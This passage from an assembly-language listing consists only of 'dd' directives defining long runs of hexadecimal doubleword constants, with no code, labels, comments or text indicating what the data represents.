0A984A386h, 0F91E1AC0h dd 9AD93401h, 0DCD2878Fh, 0F05B2440h, 6982083Fh, 378054A0h dd 1C0A8F3Bh, 8ECD0330h, 0BA6C2288h, 0E940EEEBh, 0E08B7E88h dd 71E29C2Fh, 59D0F5B0h, 5AAE1B65h, 0D49159BCh, 0F47192E7h dd 64D1420h, 6A5100A0h, 59CFB97Fh, 2C00DE03h, 32C414DCh dd 25995D90h, 54105FD1h, 0F80E49EDh, 4C8AA381h, 89C590BEh dd 4952F5D9h, 15DEE584h, 195C3C0Ch, 0D69EC31h, 76D1E392h dd 0E1F46021h, 875B4318h, 14F5311h, 7A41558Ch, 0E84E52E5h dd 0B60430EBh, 0BB4C3484h, 20C020C2h, 713329Fh, 0F78B2304h dd 0F8C0B5A3h, 0C59B495h, 9443D256h, 0C6054759h, 0AD874F7Ch dd 7D88C020h, 7EE22CA2h, 0D11E0F10h, 8631784Ch, 49B9D86Fh dd 3650057Ch, 4072F4DCh, 7F4CBE6Ah, 47A1C380h, 0B6898E2h dd 74D25C46h, 149BAC0h, 85E0FF6Fh, 5CB6350Fh, 60C96C23h dd 0DDDE2286h, 8C96B8C8h, 1F41539Ch, 0C0727100h, 679EA88Bh dd 9827631h, 6591D135h, 0FE0B6CA3h, 885BD6B8h, 0E77C41CFh dd 0F2408BE7h, 2E4C697h, 0CCED706Dh, 4E61B3ECh, 0FC1070D3h dd 28DE8222h, 304048D2h, 0D419109Fh, 0E0004D13h, 4A8BAD3Eh dd 0FE095Ah, 66D1ED71h, 6221D935h, 37A489C5h, 7C61908Ch dd 25FC0051h, 35462106h, 9574D07Eh, 0E89F5F26h, 0E3DD2740h dd 70B7588Bh, 0EB5B317h, 29C137C4h, 52BB0BDEh, 0E098DF94h dd 0C70D1BEh, 0DBCA30Ch, 819D2h, 0CEBB8203h, 0AD61A80Eh dd 5758040Fh, 1CA6214Bh, 3C83C8DAh, 7E3B527Fh, 2CC043A3h dd 997CAD49h, 18B023FDh, 0F428C909h, 0F1070196h, 0A3A12AA2h dd 84EC634h, 7D8967F8h, 0C080BCC5h, 0DACFE10h, 5800E287h dd 34176C7Fh, 1852A29Bh, 188681A9h, 9FFA24D2h, 0D70A7C96h dd 1F00E4C5h, 2FC9D982h, 891000DCh, 8148DB9Bh, 79D235D5h dd 4A6488h, 146B3893h, 219AA322h, 0A45B9F00h, 33318F6Eh dd 0C5F496C8h, 7F728049h, 0EF48EE77h, 281960DDh, 1284BB37h dd 304762A3h, 1C3252B4h, 0FD05BF00h, 3A4E4837h, 0C68E00A9h dd 0B1E7E9Ah, 7D0FBB56h, 3F4CB443h, 11088C82h, 585040EEh dd 47F4AC7h, 4654FE44h, 4899D831h, 25245410h, 0C60302C8h dd 0AC486036h, 0FCA03273h, 43044E6Ch, 5B5142D2h, 0DCD4D091h dd 0ACCD8710h, 0D859EF16h, 3BD1828h, 280908EAh, 8CE89DD9h dd 449AC531h, 0C0E47E58h, 49D26DAAh, 5FAD003Fh, 0BB6861B5h dd 0E7004F90h, 0BD8798F3h, 1D6D9CFh, 0C6CD43ECh, 42CA5AEFh dd 0B7208738h, 41389h, 0BDD663E1h, 1CDE0F78h, 6943A31Ch dd 5CAD86CAh, 0C1D37B85h, 731C7814h, 22F4B502h, 0E681E391h dd 0FECE0068h, 7A9AA56Ch, 12041690h, 15D97FBBh, 0B8D8A4h dd 0DEA09942h, 0ED380296h, 59F85152h, 72AD0040h, 0A39E7E41h dd 0FCEC0914h, 8000427Ch, 4891CFBEh, 0BB386E09h, 46E468F4h dd 0F3530051h, 0FB6D0818h, 1400B245h, 71CC287Eh, 130CEC2Bh dd 245ED2CBh, 0F7D80B18h, 15EA5410h, 0AA499CF2h, 1A4E0080h dd 2539A5DBh, 17AF0DEh, 0C3FAD5AEh, 20E8F64Dh, 90C0BCACh dd 0D45F4E14h, 601C0517h, 0D316FDA2h, 7846810h, 34005CBEh dd 1660A64h, 107CF2C9h, 3DDC5ED0h, 67AA8088h, 0CD93A4h dd 44C6AD4Ah, 0D11B4B8Ah, 0B9824531h, 0CC489086h, 684150D2h dd 47F74E8Ah, 44A38F70h, 4CE889DDh, 0C700BCC0h, 0A96F9D70h dd 2604B5BAh, 6388D650h, 5100855Bh, 4ADAC47Fh, 1B56F9h dd 0D6AA0144h, 3B1731EBh dd 5C26F0Bh, 0E52490F4h, 892F0E82h, 0B2C552D5h, 51EC1F25h dd 0D61016C3h, 820B6007h, 0B9C1D376h, 0B11503B0h, 27916F79h dd 21CC4AC5h, 48E03050h, 10BAB3F7h, 0E6A5BF00h, 7938541Ah dd 0DAE413BDh, 0A886002Ah, 3BA9D189h, 98F28E09h, 54440A2Dh dd 0E9920A60h, 129901BFh, 0B5E3AFC3h, 81ABF89Dh, 29C1B700h dd 20CB76E7h, 0B07F45Dh, 0C068A592h, 40D2C282h, 9C4C3072h dd 933D8014h, 3D032E21h, 0F7E1E8h, 65FB7668h, 317A9D74h dd 19457CA0h, 28AD1000h, 63C12B40h, 0A7951324h, 0D2608184h dd 882AC67Bh, 5038CA87h, 64921Bh, 7243E584h, 9D84B69Dh dd 32440037h, 655642B1h, 52D2200h, 0D05A74E2h, 76FF0B47h dd 748317C8h, 0F4A21D6Fh, 5200A8DAh, 890F7C25h, 0B49BFAh dd 9E6F922Bh, 0EFD370CDh, 77919302h, 52E5698Ch, 1704907Ch dd 3DAF43h, 0AB0AAE8Dh, 792E7345h, 0AD0DC082h, 5C31F1D6h dd 52DBC700h, 56B80796h, 0C1C43801h, 0E1C64428h, 29E8200Ah dd 0E813104Bh, 2270EC54h, 9DA89B79h, 81E500DAh, 0B57F0952h dd 34FCC15Ch, 9000215Fh, 0A336EFD1h, 874E3A96h, 0B1F8F17h dd 0E41003A0h, 6A125CB8h, 44305A0Eh, 25371DF2h, 6A7CCBBEh dd 33384F04h, 374E4F4h, 0B0F8580Ch, 56D10275h, 0F42C206Ah dd 4BA4B554h, 103DA58h, 0ED2854F7h, 0CCF81409h, 87230062h dd 0D45E354Eh, 472EA3F3h, 0E3891CC3h, 0D87838F6h, 58E12C0Ch dd 1C06084h, 0AD13B810h, 3C42BED1h, 0E17D8E16h, 0ED10D860h dd 852D0842h, 187C09DCh, 120B7DE0h, 905CD254h, 25C6371Ch dd 0F7C07361h, 0D903827Ch, 80B4B284h, 0A3130FCEh, 6ABC00A8h dd 9EEE82D6h, 5DE85360h, 2989B4Ch, 0FDB0E389h, 5C7012h dd 6E5CB637h, 51D2F0EEh, 71B5A516h, 4EE2041Eh, 0A05030C6h dd 51030333h, 4BAF554Fh, 9DF3A80Dh, 0F28900E9h, 0D01D83F6h dd 0DB3D3867h, 478F78Eh, 15A94301h, 7F6663C9h, 16847660h dd 0B355853h, 0C482819Ch, 0B229DDDCh, 378CC000h, 418881F6h dd 13309098h, 0DF190FF4h, 0A760960Fh, 192ACC9Eh, 90ABC200h dd 0DC1ADA1h, 0B431C0D0h, 0D2A2939Ch, 10FFE001h, 781B70EFh dd 27F02D4h, 874F845Eh, 0F02AD7D8h, 64589411h, 933C560Eh dd 82079BE1h, 7F5840D8h, 0D101190Bh, 0BC29A2ACh, 4C7877D2h dd 1016094h, 717C41ADh, 9C699Dh, 7F2294D4h, 926B570h, 5B2EDC63h dd 0EA7CA410h, 0FFF7CD09h, 223C14F9h, 0E0B4271Ch, 10E87080h dd 98813617h, 0C16F00D3h, 74E5AA18h, 680557E6h, 0C008D790h dd 94D5A00Bh, 0CD7E01E0h, 7C5368AFh, 87B8C0D7h, 6014D551h dd 5F44030Ch, 546CEB53h, 0CB8352C8h, 0C9272D1Fh, 57F07508h dd 89462CABh, 0CC4512E8h, 20A855FCh, 74FCE429h, 0C5A7D81Eh dd 200D9F09h, 235FBE88h, 0FCDE3BECh, 82513416h, 292CA8h dd 0EFA8A9C0h, 8428AA54h, 8043ECB4h, 25F8C720h, 260092E8h dd 0B025F4Ah, 8C63A14h, 79208851h, 8EA0D580h, 58FDEDDAh dd 0E705CC26h, 0E46924D1h, 5614B6B8h, 378A003h, 0B1A8E983h dd 0A86D9BD8h, 48CA4E5h, 5B28B5EBh, 83D14082h, 0C709Ch dd 755A414Eh, 156A73BBh, 693B0A02h, 60065205h, 0C0EE31D4h dd 0CFD034B9h, 8C00A60Bh, 0E7A219B2h, 0DC95A3h, 0EB58CC49h dd 7FD9C3CBh, 480785Ch, 0C089BFF9h, 9C301CC5h, 13DC0821h dd 0D564DA86h, 0DFB44868h, 9F000CA6h, 37A262C5h, 98825CE0h dd 9422D041h, 25D0205Ah, 3200A8E7h, 11ACD72Bh, 0F2760D1Dh dd 7CED0165h, 5EE2707Dh, 0E4E5E7A1h, 0F172D330h, 0D850D600h dd 0A521B712h, 0FFED1DA9h, 7D0B001Bh, 589FEC3Ch, 0DE88A60Bh dd 0E22C00FEh, 0E35B0EF6h, 0FC0BC28h, 99C960DCh, 20AE0D25h dd 0A31910B8h, 64E4FE0h, 318420C8h, 25019290h, 0BDDA1AB3h dd 0F3C8435Fh, 0C7972E34h, 0BC20CFC8h, 4CE53B5Ch, 0D6CD4700h dd 3D558DFCh, 7B7C0E7Eh, 0B3E013h, 735C46E4h, 0A303FD1Ah dd 613439A1h, 0D1881311h, 37D8935Eh, 386FCFDh, 381E5583h dd 9E7AF0C1h, 8CA436h, 0CE0E6BCh, 4E0DAAA7h, 2EE92C00h dd 0B623D1B8h, 39950509h, 88F7642Bh, 3D1C62FCh, 6C807FE3h dd 0BA6D2DAh, 1830009Dh, 315F2CB6h, 2826ACDFh, 48245470h dd 0AFAB8200h, 0B13336A2h, 226F00F0h, 9AC65B88h, 0D3A49E03h dd 92C0F4E8h, 0ECA049FBh, 48F2D0h, 71298977h, 7EFF3B7Dh dd 340009Eh, 1D06793h, 31A0432Ch, 20E56F9Eh, 36007037h dd 94BB04DEh, 0B652D507h, 20551DD4h, 192FE23Ch, 0E1115A01h dd 0E88C3CF4h, 8EE42C5Dh, 0FE6C0298h, 846C4314h, 0F5A6BA07h dd 71C0EB3Ch, 9954538Dh, 6F1388h, 46107320h, 3E2E5FBCh dd 1037393h, 48DEE33Ch, 8322C8F9h, 0C3A4371Fh, 5C55C780h dd 2A3DB11h, 1534A67Fh, 8CCB4D20h, 3B806057h, 466D0079h dd 8BC4EDE7h, 0A99F00B7h, 56B54431h, 1C9480EFh, 833A4240h dd 701A0081h, 95D77279h, 7D71BC52h, 421457F3h, 40C03EC9h dd 590FFF57h, 85385A92h, 14F24A56h, 10047842h, 0A2D69FFEh dd 98DE0090h, 3A6A8802h, 491D092Ch, 9482A654h, 6312DFD5h dd 0A97DB0ECh, 224FC26h, 0D11D52A3h, 9C23715Fh, 6E31018Ch dd 0D38B3F01h, 0AE40CC5Ch, 0A4CEF500h, 441867D6h, 7D0D01A2h dd 7B835033h, 4587D031h, 0D08AB92Eh, 81F1B162h, 0D03C6F81h dd 0C0F262F1h, 54FDD9F4h, 0B4454C7Eh, 40480Ch, 9E6B2119h dd 13000B76h, 874C553Eh, 199C2C9h, 0A63B9A5Bh, 7D3335EAh dd 55341F74h, 0D785EC80h, 14E3DB8h, 92CCAB11h, 50064AAFh dd 6F59BEBCh, 9905D4B0h, 0F6E117A2h, 0DE279404h, 119C4940h dd 0A36FE0B3h, 7722D020h, 0D5EE500h, 0A75AEF9Eh, 0BB8CB7Ah dd 0B63F0818h, 24A4602h, 0E09EA478h, 1508014h, 822286DBh dd 29C28FDAh, 559800B4h, 7E51F2C1h, 0B60D315Fh, 4950158h dd 0A5299408h, 0ED1C6C64h, 0E0C26845h, 60625FFAh, 5BB8DE0h dd 15FBD9FEh, 52D091A0h, 0C0452F8Eh, 24088C06h, 0CE8B80D6h dd 0CB860E1Ah, 0F1592C00h, 0FADC0C25h, 0D2370910h, 0AC80A3A5h dd 0D118E624h, 10C8558h, 820D5CB6h, 0F3F5D2DEh, 0E03854DEh dd 55D8AD39h, 4D2A091Ch, 2F6FD740h, 7B32699h, 0F55C28F0h dd 0D447E070h, 0AA50D12Ch, 8F2839C4h, 0E62B86Ch, 5A1CFC8h dd 402C94E5h, 643E3B5Ch, 0B4006A37h, 0DEA2BFD4h, 3BFEDC6Ch dd 86148C08h, 2611B450h, 0DC48C3h, 0E888BA12h, 30487B90h dd 40C05A50h, 88B6DE9Eh, 0E6D406Ch, 65142FCEh, 55F6ED40h dd 30623E17h, 3DC2E98h, 61315B53h, 773EB8DFh, 69DC7E01h dd 0B57D8044h, 0B9617D3h, 3A11510h, 90E2F405h, 915E1D28h dd 2698E5F8h, 7C23431Fh, 7E810200h, 0A05BC448h, 50E3B5F0h dd 6A3594A1h, 80981487h, 6719980Ch, 43DB0EBh, 0D4A42EB9h dd 2A5D2238h, 187CBEh, 6B2AE583h, 0D923B355h, 70D8BF31h dd 20E1E114h, 26429C42h, 0D1258984h, 0C964125Ch, 45F9B3B8h dd 4C7371D8h, 92C090C0h, 0EAF49E0Ch, 4A17C200h, 1D58FE34h dd 7CA519ACh, 2A8FC0A3h, 85C07430h, 0B0A900D6h, 74574BBDh dd 7F01F658h, 4D411E05h, 5042E671h, 0A2720408h, 56171148h dd 87A41900h, 4D33ADDEh, 0CECFBF0Bh, 0D2EC02FAh, 93608248h dd 293862C5h, 9C844C08h, 0A2404010h, 0A301AF1Dh, 2BCEF056h dd 82DC480Ch, 906C5C7Bh, 84105A2Dh, 0C0EB15E7h, 54127F68h dd 0D831949Fh, 0A5F8EC2Fh, 0AE0EDh, 166F7CF0h, 86C3837Fh dd 0B889D52Ah dd 0B459D229h, 2B49D78Fh, 55706971h, 62FBE511h, 489E05D4h dd 80EBF856h, 8D787022h, 6021D72Ch, 44109849h, 6E66385Ah dd 4F493D07h, 0D8C341ACh, 38C4799Ch, 0AAE91CBBh, 44FE2980h dd 2B68B8h, 70D4353Fh, 0C2BDDC87h, 0CC8F509Ch, 30C596B5h dd 20088E3h, 73AE4941h, 0A32E17FAh, 6F024447h, 0E67CFFC9h dd 0B11900CCh, 0A29DC7B4h, 6C0E94F3h, 89055BD0h, 14F804C1h dd 4F20948Dh, 5F511967h, 0F35BF9DCh, 0DF494Ch, 4709B1B0h dd 132F0BAAh, 427351EDh, 2DA06FA0h, 0D860C720h, 0DC2F3B15h dd 0F45AA705h, 0F08AC6h, 64A022FDh, 133EFCh, 8669D7Bh dd 99924341h, 5C909E17h, 1F1349Ch, 0A2662E62h, 498BA00Ah dd 0A231B9D4h, 0C3DD44DEh, 7E39C200h, 0A4FE6E60h, 0E28A027Bh dd 717D8858h, 0DA40685Eh, 1E1B324h, 81EE49BAh, 60B2FD53h dd 5CA12310h, 88381085h, 600C009Dh, 0FE50A404h, 5FE4F0D2h dd 0B4C49100h, 0E6C68D57h, 5CD52281h, 1A6F842Ch, 101DD316h dd 0EE11E1h, 6B53392Dh, 0F9A7C6h, 94081AC5h, 4181BDFAh dd 0DDA88507h, 1004DF83h, 22FF88D2h, 5CC5FCD9h, 39D37E80h dd 24E96D45h, 3DCCB918h, 0A1EE8644h, 0A37F29C0h, 7087DD7Ah dd 0DA9C240Bh, 272F11F4h, 0ED5810BEh, 0D1800570h, 0A2BB166Ah dd 44CA0390h, 0C9EE010Ch, 1E7097B7h, 0AC1B00BBh, 6F9CA35Ah dd 375D56BEh, 287F0158h, 5B7B96C8h, 7B1029h, 7C0F972Dh dd 2CF0507Eh, 384DA52Eh, 38B23492h, 371B8322h, 0C0C159EDh dd 4ADC1A9h, 29356893h, 650C819Fh, 215301DBh, 44581C63h dd 1728E500h, 1A719A43h, 643E4CB8h, 0DC007035h, 0FF6DB37h dd 0A924E4C2h, 29D05950h, 7A7D000Eh, 5FEFE399h, 342EB905h dd 0ED6550E4h, 0ED1700C8h, 78C0703Fh, 0FB00A9ACh, 0D7A8BF7Bh dd 0B0167DF0h, 34AE95C4h, 6C83256h, 10D2E891h, 3D7AF3h dd 8C20FEBDh, 79D9A51Eh, 0E79BC003h, 9EA364Bh, 6876D2E9h dd 859C9C23h, 47434900h, 27DC0373h, 0AB8B00D7h, 393532BFh dd 6419373Bh, 0BE309D7Eh, 698B703Ch, 11538300h, 0F900CA68h dd 0BC918092h, 1D1C9F72h, 0C12A839Ah, 1535EB7Ch, 0C8B44819h dd 0BCC9197h, 0CC6AD8h, 0C7495A07h, 32EDE243h, 0B233D51Eh dd 95E5013Fh, 5A9AD78Ch, 19075462h, 0C38ABFEBh, 9EC0567Fh dd 0F2FE7293h, 642A330Eh, 5CB0C169h, 0D06051D6h, 9359400Dh dd 7F9AB83Ah, 5EC75648h, 0DDD70C21h, 16847B08h, 90F380FDh dd 0A5784168h, 370DB500h, 0E4FF1E09h, 0B84D7615h, 0D4D25098h dd 417096D5h, 0F1B5C151h, 58203A40h, 123DA2DBh, 1FD7819Dh dd 793E22CCh, 3317145Fh, 37EB80E8h, 2E45A674h, 155301Ah dd 986742E6h, 22D3FCADh, 3FE0C353h, 8E383A05h, 0E0D45CAEh dd 3D529386h, 5F210382h, 889AF7BCh, 807CD952h, 8217FE10h dd 58D60445h, 91B55B83h, 0D4B88C10h, 0C5C07C6h, 0C3728D0h dd 4B036B0h, 819AAD39h, 0FD99A233h, 0E8749854h, 1EB0A10Bh dd 3862448h, 0C06F0E97h, 890223FBh, 98467DBEh, 478CE18Bh dd 0D18602CAh, 849610DAh, 24CC3A40h, 49A80BE2h, 680CB186h dd 590A02AAh, 0E85B260Eh, 5FA51860h, 76BF0036h, 969B2F66h dd 1E0044CBh, 1402A2B5h, 9C215B82h, 209C167Ch, 5D768614h dd 7F7ED500h, 3529E74Bh, 9F74F5h, 61929CADh, 0DD011BE2h dd 0A186AC20h, 0E9806C18h, 2EA7DC37h, 51CE8E9Ch, 8053A907h dd 226D4E9Ah, 1AC7719h, 11FA326Fh, 0DC2F7975h, 7D0EBC29h dd 40C8454Bh, 2DA6A88Ch, 0C960BA3h, 48228DE7h, 2460D7FDh dd 4896972Eh, 0BD28C0EBh, 0C0A41AAEh, 2C879117h, 28C00B56h dd 1F1C55E6h, 0AD15A382h, 0C07A2E60h, 440C3162h, 80425C60h dd 437F80DFh, 0E61EFAC4h, 8ED13607h, 844F02A3h, 6CE48772h dd 0BE243E5Eh, 0C4E14225h, 0AC3C0DD7h, 0C227E5C4h, 0DD115364h dd 0DE4D9510h, 4B8A1F00h, 487FAD5Dh, 5645029Bh, 0ABE53812h dd 1101FCAFh, 3E5FED31h, 3072BC41h, 8C4525BBh, 0E033A489h dd 0BC143200h, 0AE1ED224h, 457FDA00h, 0D9A3E413h, 253AE3F8h dd 0E78C306Ch, 5C58D26Dh, 7AA4D02Ch, 23EF3400h, 323A1B05h dd 0E035548Eh, 0C418B529h, 0E6009B2Eh, 0F1F5158Ch, 721225F3h dd 23750437h, 0E8A3B9BBh, 5A68801Ch, 73AAAB4h, 1D180C67h dd 0BAE930C9h, 0CF58BE7Ch, 1C274A29h, 599BDEA0h, 0AF390741h dd 0E0A2311Fh, 4D53909Dh, 1395813Ah, 54B2F65Ah, 9D0D729h dd 81FD365Ch, 0F134DAFFh, 0FC01D463h, 394BB50Dh, 594220F5h dd 0C9F800Eh, 32C3078Eh, 0DBC06250h, 9CC24A5Bh, 0A9007FE0h dd 769D5550h, 554FD5A0h, 4DEB077h, 0FD5521ABh, 9CC04C57h dd 1C4A9D42h, 0CE458C7Eh, 11C9507Dh, 0E207746Ch, 0D8879D7Ch dd 29F0C41Bh, 1290C347h, 3DD0E25Ah, 78F5805Ch, 0BBBF1545h dd 24100A1h, 0F8FB2EC6h, 0F12D1953h, 36A0107Fh, 0D61B00C2h dd 89F27413h, 9FE2F42Ch, 0F36ECF00h, 47B63310h, 0BA010006h dd 9E3AAED2h, 0C8A424D1h, 0AF003777h, 2C02B942h, 13BB453Bh dd 0F4FDC0B6h, 0EB443188h, 2C41004Bh, 0C3699387h, 0A400531Dh dd 7EDDF89Bh, 558F698h, 0F4ADBA17h, 0D69423A7h, 13DD8C00h dd 0BF57F7DBh, 0A3722E91h, 0C2510874h, 0D7897D80h, 3C8AA2ADh dd 0B91287FAh, 158804E2h, 0F014CD55h, 0AC00D3D7h, 24E02CA2h dd 421428h, 0C7FE06CDh, 0BB326C2Dh, 0F8D8224Eh, 0F9748657h dd 247E1188h, 40B89D78h, 0C657BB8Fh, 8BEE1700h, 23F1F31Dh dd 0CF2A05BDh, 8C1987EBh, 0C327A9B4h, 0C04044B5h, 0BC26D15Ah dd 2B986821h, 37394F07h, 61B2E35Fh, 0BDF451FBh, 9C3BDF84h dd 0D134C27Ah, 0A2F80913h, 0D4F159EFh, 0D21F4824h, 3330112Fh dd 0FD00AC29h, 51524401h, 410E5FE3h, 207E15ADh, 0AB405A2Eh dd 22A409B4h, 18D984BCh, 0E865CF03h, 0ABD4A853h, 0CE8C0DD1h dd 0EC712021h, 0F902DB2Dh, 0DD30DEBAh, 4054DC28h, 8E866740h dd 0EB13B7F6h, 0D8E25D94h, 0AE4B5300h, 6B0DCC01h, 3D3A8D00h dd 0D1BBFC43h, 10910704h, 497CB2D5h, 280900F0h, 0FA505388h dd 2BE7AB0h, 0FCA37F54h, 0CDE4DDCh, 0AB30F791h, 0D188FEF4h dd 644E49ECh, 9A6387EBh, 706427E4h, 4A0F3500h, 0B71BF3FCh dd 8A9F22F1h, 0EB674F00h, 3A782BC4h, 5F4007Ah, 0D010C79Ch dd 7724D475h, 0B5048F0Ch, 3884DF61h, 4F8708A8h, 3347A0E3h dd 26006906h, 0A5A63682h, 4D6D13Dh, 0BB2C9884h, 3874CC28h dd 0C3E65007h, 0F6A0E47Ah, 17564B51h, 94E2903Ch, 9EA03050h dd 8001329h, 3915B1B2h, 7562BECh, 112545D4h, 14F5226Bh dd 1198DC41h, 302F7988h, 3AF17B6Ch, 0D59FD402h, 0DE4236E3h dd 0B62AE2FCh, 6C525302h, 2812BD64h, 0B5BE6C81h, 99787984h dd 3009FF11h, 0FD5AD79Ah, 0E420A817h, 1FD40F09h, 739250h dd 892952FDh, 0F912D6E6h, 0E000BB5Fh, 0B56B8A6h, 5B90BC38h dd 0A1D69011h, 0EA2E16h, 0CB065650h, 0E09E43E3h, 82336E02h dd 873C81D5h, 226FFAD9h, 68DC5A7Ch, 0D086DC62h, 0A4E92248h dd 0DE878816h, 25803CA2h, 7863A857h, 0F70E49F8h, 80289C0Fh dd 0E7A0F01Ch, 3ED60E1Dh, 4F30D5Fh, 199613DCh, 5C085280h dd 9EC23899h, 3F405AF3h, 740036DDh, 26C51F05h, 157A338Eh dd 626EFFEh, 0E10143D3h, 0FFFBC0F5h, 0CCC0B82Dh, 0F6378538h dd 1304C6E6h, 0EA57A504h, 944898A8h, 46534A0Ah, 0B5A70BE8h dd 5FCAEC63h, 2E510706h, 394DDE6h, 86C1B785h, 0A0E4E8DDh dd 175D4AFh, 61291BF1h dd 0FCCF79F7h, 0B11D0615h, 5745BF5Ch, 0BF845EFFh, 7B808804h dd 25C87824h, 4CC9A783h, 0D3221F94h, 7FD442FAh, 0F8A67177h dd 0E4203179h, 7E10FCC5h, 73110919h, 0F450DC35h, 9886DE03h dd 4E3DDA87h, 0A1548829h, 79CD8300h, 0EF7803B4h, 9D989CFFh dd 40C06686h, 71EB5B5Ch, 372E800h, 0B5487C42h, 8CFB2AE6h dd 0D8770388h, 0C9479D99h, 0A3222DE0h, 786D0500h, 4BC4043Dh dd 1CF891Eh, 6F00954Eh, 0D8503E17h, 0DB5D92C0h, 80C9C3F0h dd 7C2FD8D0h, 98AA178Ch, 2A14886Eh, 17EE288h, 13F2284Dh dd 20B638BBh, 0A11E198Ch, 3D58B0h, 0ED1FC65Fh, 0A8942A5Ah dd 1E717B8h, 5057A352h, 3D98B15Ch, 0A0358EF8h, 0D8B4E710h dd 236C00F7h, 0DA6D8AB6h, 0BC0BF547h, 481EF35h, 0B8E962B2h dd 80DF5910h, 642E1114h, 0A690CB35h, 0FFD4AC98h, 2473B200h dd 8728EED8h, 994305B9h, 0A45B8FE6h, 0A5E855E0h, 0C5D89Fh dd 0DDA9D539h, 0B558C791h, 180D5C01h, 0E824D234h, 519C318Ch dd 0EF0B5B61h, 0E8A1C7CBh, 2C487FC8h, 1734B4A5h, 0A040C238h dd 477CF0C4h, 0BB0CB01Eh, 0C290AA00h, 2FC9A902h, 0C31F976h dd 77D21006h, 8290966Dh, 9ECC41EDh, 4B0510h, 2CABD51Fh dd 54D878FAh, 12096700h, 0C4E56149h, 0C8285E7Ch, 84B6BB58h dd 5A03D941h, 0FB64312Bh, 81801755h, 0A9677D32h, 7C6933B8h dd 7355017Dh, 169F0C9Eh, 0B8EC20D9h, 0A30E0503h, 0E25BE430h dd 80848F94h, 0BCC149B9h, 5C51256Ah, 860068E4h, 34A296ABh dd 5B875DE7h, 88A48394h, 198C812Fh, 407F5B18h, 0EB743D10h dd 28008DDCh, 43FDD96Ah, 0C31517h, 9425D3E2h, 48AD85C5h dd 8C5F502Eh, 2078E84Dh, 4CC88DD6h, 38004080h, 25688992h dd 0B93D541h, 7F2B53CAh, 8E003CF1h, 83820901h, 0C99B18CEh dd 1A6650BEh, 88A4DB24h, 0D9270339h, 2DD80B15h, 0F0404C71h dd 7C40A249h, 0CE90146Fh, 53824483h, 5882DC56h, 4C7458FFh dd 4847CB51h, 0A1918028h, 0F24F86CAh, 486EC126h, 31526502h dd 5D0E434h, 3C7B0B2h, 9277C0C9h, 0BF005DC3h, 0A6C2DA2Ch dd 144EF776h, 3451EFD3h, 0C435EB00h, 5A6059D2h, 4282DC96h dd 0D4E4286Ch, 9F40830h, 0B9600826h, 8533Fh, 43E63C5Bh dd 0DCFAE50Eh, 0EBA474F9h, 30A6C898h, 86D15B07h, 0B889D5ADh dd 1D09994h, 0EFC65D7Eh, 709F2259h, 0B09EE15h, 9955E647h dd 5C288604h, 18BC838Ah, 55E5615Bh, 0DC688C2Ch, 0C4383D00h dd 0C317B87h, 0D55B8454h, 1B0993D9h, 1495101Fh, 464938ECh dd 0F47E7A82h, 0CE49882h, 0B9EBDB22h, 81FE00BCh, 0FAB385F7h dd 0F6305900h, 2EE1F537h, 7DD702E6h, 7C882D46h, 10A368E9h dd 0B66A41D2h, 0A4C8A724h, 8800E8B8h, 7FFD329Dh, 145AEE0h dd 5255A772h, 48A4FE14h, 0E5FB84A8h, 8AC450F2h, 230D97Fh dd 9519C159h, 260787Bh, 27FCA328h, 467E737Fh, 0D3357000h dd 9838B81Ah, 46F00028h, 492847B5h, 450E7CC6h, 45D25F8Eh dd 94255B4Ch, 88C2948Ch, 0B8A417D9h, 3282E63Bh, 5E371157h dd 0F28E41D0h, 116B6024h, 0C6C0707Bh, 6BACDC1Ah, 98BC4C38h dd 7C00B63Fh, 7B833750h, 0B528B97Dh, 537BCC5Eh, 2D709F5Dh dd 84E428h, 0BA59F6DBh, 7ACE2BD2h, 8D76A37Ah, 0B23943Bh dd 0D88779FAh, 1059487Ch, 0DB98C9C0h, 0A400376Fh, 868B01DDh dd 0AB189B7Ch, 0E1D5B9C4h, 4088319Ch, 437CE038h, 0B502A6B7h dd 0D836FAA2h, 0B50D128h, 0A80ACB0h, 1FFC559h, 0CB314100h dd 1D07E135h, 0D0344B25h, 0A8E95A8Ch, 37D74800h, 62EC5CC0h dd 231A0003h, 6333AF22h, 0BB082CC7h, 29814F4h, 0DEE1646Ch dd 0B70150D1h, 37A347E9h, 0B5286429h, 519E24D8h, 0F6846048h dd 6200893Eh, 0C8ACFADAh, 6EDAA12h, 0FB1A4AFCh, 0B26619Eh dd 6660EC46h, 1304994h, 9A72F8B8h, 22CFAA55h, 0D4D624B4h dd 0E8958h, 0DE5C6FD4h, 0FD470F10h, 0D9CE5A04h, 88BC54F9h dd 2407B88h, 176F7C41h, 0E255ED2Eh, 21E033DCh, 355FE117h dd 966F1982h, 0C05AFB18h, 0E369BF02h, 5735E7B8h, 0F9900B61h dd 4A54784Fh, 0E233D420h, 7C8EAB6h, 239E75E6h, 0A39BA0ECh dd 43251902h, 585CC4C5h, 0FD2762E1h, 552204E4h, 803C992Bh dd 0DD5D95B7h, 0F000F20Bh, 9C92BEE0h, 2FD4D3Dh, 42CEC346h dd 54604C85h, 1453D9D6h, 0A9830F80h, 0C31A0218h, 8190C034h dd 24119584h, 0E974E8EBh, 388B3B1Fh, 96ECF444h, 0FA80E4A9h dd 83FD05FBh, 0BC6CFF0Eh, 0B7F0A066h, 0EA8A241Bh, 0E9192981h dd 746827D0h, 0D000FFE8h, 6A150D9Fh, 0EABB5F2Fh, 13BA0001h dd 0B238005h, 5A4E9D71h, 0E6281840h, 6E301ACh, 2C9E128Ch dd 0D72261CCh, 3EC98D9h, 0A96520AEh, 82D4D45Dh, 0A0DE1E8Ch dd 576F789h, 0D8DCDEE0h, 5A489655h, 9D801560h, 188020BCh dd 78D73A1Ah, 6B06007Bh, 4D52EA4Fh, 0F33BB145h, 28D90A2Ah dd 0FB89B4FCh, 80F45386h, 37D5D8C5h, 0AF00D380h, 4A3C17F0h dd 5884FA44h, 0DA0AADEBh, 0A5C4E6F3h, 0D3B000C0h, 9C2748B8h dd 46C4E8A1h, 42DD02D9h, 0D487711Eh, 0A300D0D9h, 7A8F1B4Ah dd 0F39E2238h, 67E7DF1Fh, 52BB00FEh, 8143B6E6h, 0CCC149D5h dd 0A25CD212h, 0C2E3801Ch, 0A0B828h, 4890DDB3h, 30AB7E4Eh dd 72D4F70Fh, 821E61FDh, 0F049EFDCh, 5C7100C7h, 8CD4CDF0h dd 0FD01FECAh, 5D9872B3h, 884C9508h, 151A0024h, 0D33E69AEh dd 66008C65h, 554EA1B1h, 260C491h, 4BBE88E3h, 0F8569F54h dd 0AB019440h, 103C007Ch, 0C4D87F04h, 0BF019A96h, 64282CC8h dd 27E8447Ah, 0ECD258A3h, 6DD5E180h, 3245DA82h, 